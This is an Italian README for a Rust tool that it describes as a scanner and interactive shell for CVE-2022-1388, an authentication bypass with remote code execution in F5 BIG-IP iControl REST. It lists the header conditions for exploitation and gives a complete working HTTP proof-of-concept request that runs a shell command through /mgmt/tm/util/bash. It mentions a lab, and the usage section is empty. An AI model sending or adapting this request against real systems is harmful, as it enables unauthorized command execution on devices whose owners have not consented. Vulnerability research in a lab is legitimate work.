CVE-2022-1388-rs

Scanner e shell interattiva per CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE scritto in Rust

Riepilogo

Per riepilogare, ecco una panoramica delle condizioni necessarie di una richiesta per sfruttare questa vulnerabilità:

• L'header Connection deve includere X-F5-Auth-Token
• L'header X-F5-Auth-Token deve essere presente
• L'header Host deve essere localhost / 127.0.0.1 oppure l'header Connection deve includere X-Forwarded-Host
• L'header Auth deve essere impostato con il nome utente admin e una password qualsiasi

PoC

POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46aG9yaXpvbjM=
X-F5-Auth-Token: thisisrandomstring
User-Agent: curl/7.82.0
Connection: X-F5-Auth-Token
Accept: */*
Content-Length: 39
{
    "command":"run",
    "utilCmdArgs":"-c id"
}

Configurazione LAB

• Puoi trovare il laboratorio qui

Utilizzo